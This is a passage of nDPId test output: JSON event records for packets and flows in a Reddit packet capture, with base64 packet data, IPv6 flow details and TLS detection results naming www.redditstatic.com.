JnW+luLHAodvBYDAwAEDgAAAA=="} +00452{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":65,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":593105,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7DRp06N8vgBAB5U4cAAABAQgKqXTgRcLXMt8="} +00452{"flow_id":4,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":66,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":593136,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7DRp06OEygBAB4UwdAAABAQgKqXTgRcLXMt8="} +00581{"flow_id":4,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":76,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":595476,"pkt_caplen":179,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":179,"pkt_l4_len":125,"pkt":"qtsDr8lk5EKm5WPyht1gB3LfAH0GQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PABuxF7DRp06OEygBgB9U4+AAABAQgKqXTgR8LXMt8WAwMAJRAAACEgLCeuk0qqi\/GOnYAOAtlcQKOyjvGtBdId5ZCzGhWhjkkUAwMAAQEWAwMAKAAAAAAAAAAASNVaMONVPNQkwi1QNatfiTayCgn\/ib7d+PoSyIjqcPA="} +00455{"flow_id":4,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":94,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291684,"pkt_ts_usec":654505,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8HTo4TIRew13gBALPEI\/AAABAQgKwtczA6l04Ec="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":279,"source":"reddit.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1605291686035,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56562,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":35717,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDzZzACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PIBu+DxzH8AAAAAoAL9INmFAAACBAWgBAIICql05ecAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":280,"source":"reddit.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1605291686035,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56564,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":35769,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwLy4AAAAAoAL9IGaWAAACBAWgBAIICql05ecAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":281,"source":"reddit.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1605291686035,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56566,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":35788,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAChDACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PYBu+yXuQoAAAAAoAL9IOFQAAACBAWgBAIICql05ecAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":282,"source":"reddit.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1605291686035,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56568,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":35808,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCVbzACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PgBu3BHTUsAAAAAoAL9IMleAAACBAWgBAIICql05ecAAAAAAQMDBw=="} +00505{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":283,"source":"reddit.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1605291686035,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56570,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":35833,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gB\/ybACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PoBu\/q4YysAAAAAoAL9ICkLAAACBAWgBAIICql05ecAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":284,"source":"reddit.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1605291686035,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56572,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":35852,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAreKACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PwBu8WSVasAAAAAoAL9IGuvAAACBAWgBAIICql05ecAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":417,"source":"reddit.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1605291686060,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56574,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":417,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":60608,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBKPwACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3P4Bu+9x1NYAAAAAoAL9IMKJAAACBAWgBAIICql05gAAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":418,"source":"reddit.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1605291686060,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56576,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":418,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":60634,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gDoxGACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QABu3ytfXMAAAAAoAL9IIyvAAACBAWgBAIICql05gAAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":419,"source":"reddit.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1605291686060,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56578,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":419,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":60652,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBLbYACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QIBuwaOmx4AAAAAoAL9IOUhAAACBAWgBAIICql05gAAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":420,"source":"reddit.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1605291686060,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56580,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":420,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":60669,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCVnRACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QQBuwBg34wAAAAAoAL9IKbfAAACBAWgBAIICql05gAAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":421,"source":"reddit.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1605291686064,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56582,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":421,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":64532,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBAJCACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QYBu4l3q2EAAAAAoAL9IFHtAAACBAWgBAIICql05gQAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":422,"source":"reddit.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1605291686064,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56584,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":422,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":64563,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gAj4aACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QgBuwHFZiEAAAAAoAL9IB7eAAACBAWgBAIICql05gQAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":423,"source":"reddit.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1605291686064,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56586,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00465{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":423,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":64586,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gCQMdACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QoBuxlyLXsAAAAAoAL9ID\/VAAACBAWgBAIICql05gQAAAAAAQMDBw=="} +00506{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":424,"source":"reddit.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1605291686064,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56588,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00464{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":424,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":64604,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"qtsDr8lk5EKm5WPyht1gBZ0wACgGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3QwBu2zjowUAAAAAoAL9IHbXAAACBAWgBAIICql05gQAAAAAAQMDBw=="} +00465{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":425,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":65673,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc9JWtCtDxMC8voBJXgHBaAAACBAV4AQMDAwQCCArC1ziiqXTl5w=="} +00465{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":426,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":65673,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc8oSMMqHg8cyAoBJXgMyZAAACBAV4AQMDAwQCCArC1ziiqXTl5w=="} +00453{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":427,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":65686,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwLy+VrQrRgBAB+\/RNAAABAQgKqXTmBcLXOKI="} +00451{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":428,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":65695,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gDzZzACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PIBu+DxzICEjDKigBAB+1CNAAABAQgKqXTmBcLXOKI="} +01151{"flow_id":6,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":429,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":65815,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gCjLcAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PQBu\/EwLy+VrQrRgBgB+3OgAAABAQgKqXTmBcLXOKIWAwECAAEAAfwDAwyYN5j\/xCCsFbpKYtVHaXLKE\/uA+b8YhQZ6Wm2LZTmgIPoHYB\/uf+OrSqApvu9853Fa+\/5VUFSQ+FaXEGdGe73hACCamhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZM6OgAAAAAAGQAXAAAUd3d3LnJlZGRpdHN0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAgaGgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKRoaAAEAAB0AIJ5MVY1Z5Rq\/dBprPM2ILEA\/hIQM9DFSL5dx91jq4B4yAC0AAgEBACsACwqamgMEAwMDAgMBABsAAwIAApqaAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":429,"source":"reddit.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":4,"flow_first_seen":1605291686035,"flow_last_seen":1605291686065,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56564,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +01144{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":430,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":65926,"pkt_caplen":603,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":603,"pkt_l4_len":549,"pkt":"qtsDr8lk5EKm5WPyht1gDzZzAiUGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAACXZXmM3PIBu+DxzICEjDKigBgB+2RhAAABAQgKqXTmBcLXOKIWAwECAAEAAfwDAyTHZx4qb3bBrOacHhZtS+1GUX5Pd7PUT1gIoicQvfi1IPzlLoIP7lMDiOGt7of6RT3QLPZeDP+s3ApsOtToHZNxACCamhMBEwITA8ArwC\/ALMAwzKnMqMATwBQAnACdAC8ANQEAAZNaWgAAAAAAGQAXAAAUd3d3LnJlZGRpdHN0YXRpYy5jb20AFwAA\/wEAAQAACgAKAAhKSgAdABcAGAALAAIBAAAjAAAAEAAOAAwCaDIIaHR0cC8xLjEABQAFAQAAAAAADQASABAEAwgEBAEFAwgFBQEIBgYBABIAAAAzACsAKUpKAAEAAB0AIBifHQCYA46ivQXso3MK0LYgDzXz15M9qgqtnACz0NtiAC0AAgEBACsACwo6OgMEAwMDAgMBABsAAwIAAqqqAAEAABUAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00830{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":430,"source":"reddit.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":4,"flow_first_seen":1605291686035,"flow_last_seen":1605291686065,"flow_tot_l4_data_len":661,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":165,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::9765:798c","src_port":56562,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Reddit","breed":"Fun","category":"SocialNetwork"},"tls": {"version":"TLSv1.2","client_requested_server_name":"www.redditstatic.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00465{"flow_id":9,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":431,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71075,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+p6YTHT6uGMsoBJXgOg4AAACBAV4AQMDAwQCCArC1zipqXTl5w=="} +00465{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":432,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291686,"pkt_ts_usec":71076,"pkt_caplen":94,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":94,"pkt_l4_len":40,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACgGPQBk\/5sAAAAAAAAAAJdleYwqAcsBIEmLB5kd7IUo3\/YpAbvc+BQBJhBwR01MoBJXgDmIAAACBAV4AQMDAwQCCArC1zipqXTl5w=="} 